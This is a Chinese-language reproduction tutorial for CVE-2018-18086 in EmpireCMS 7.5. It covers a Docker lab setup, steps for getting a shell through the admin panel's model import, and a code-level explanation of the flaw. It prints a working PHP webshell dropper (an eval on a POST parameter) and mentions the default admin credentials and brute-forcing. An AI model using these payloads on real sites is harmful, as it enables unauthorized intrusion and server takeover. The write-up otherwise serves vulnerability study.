一、简述👋
-
漏洞描述
EmpireCMS(帝国网站管理系统)是一套内容管理系统(CMS
),EmpireCMS 7.5版本及之前版本在后台备份数据库时,未对数据库表名做验证,通过修改数据库表名可以实现任意代码执行
,EmpireCMS7.5版本中的/e/class/moddofun.php文件的LoadInMod函数
存在安全漏洞,攻击者可利用该漏洞上传任意文件,该漏洞编号为CVE-2018-18086
-
影响版本
EmpireCMS<=7.5 -
官方下载EmpireCMS V7.5
下载地址:http://www.phome.net/download/
二、安装环境👋
- docker拉取镜像
empirecms-cve_2018_18086
- 创建容器
-
如果对docker安装不熟悉,可以参考文章:Centos使用Docker搭建Lamp环境,一步到位
-
这样打开网站IP后,发现直接就是根目录,我们需要把
/var/www/html/empirecms
目录里的文件复制到/var/www/html/
去,避免暴露根目录
三、漏洞复现👋
1、直接在empirecms/e/admin
下打开管理后台
2、在爆破或账号密码进入后台后(默认账号密码为admin/123456)
3、依次点开系统,打开管理数据表,选择导入系统模型
新建shell.php.mod文件并上传,文件内容如下:
file_put_contents("1shell.php",<?php phpinfo();?>);
4、在导入文件后
生成的1shell.php
文件在/admin目录
下,即可访问empirecms/e/admin/shell.php
5、同时,如果为了连接蚁剑等,注意$符号
需要转义
<?php
file_put_contents("getshell.php","<?php @eval(\$_POST[123]);?>");
?>
四、原理分析👋
1、下载安装文件分析,在/e/admin/ecmsmod.php
文件下的导入模型
2、而进入到LoadlnMod函数,来到/e/class/moddofun.php
- 标注第一点,判断上传文件类型,文件后缀只能是
.mod
- 标注第二点,上传文件处使用time().make_password(10)进行文件名加密,同时拼接
.php
作为文件名 - 标注第三点,用
include
进行一次包含,执行上传的PHP代码,即可以通过创建文件的代码绕过
3、因为一开始的导入模型文件是在/e/admin
目录下,所以创建的shell.php
在/admin
目录下文章来源:https://www.toymoban.com/news/detail-412512.html
文章来源地址https://www.toymoban.com/news/detail-412512.html
到了这里,关于帝国Cms7.5后台getshell | (CVE-2018-18086)漏洞复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!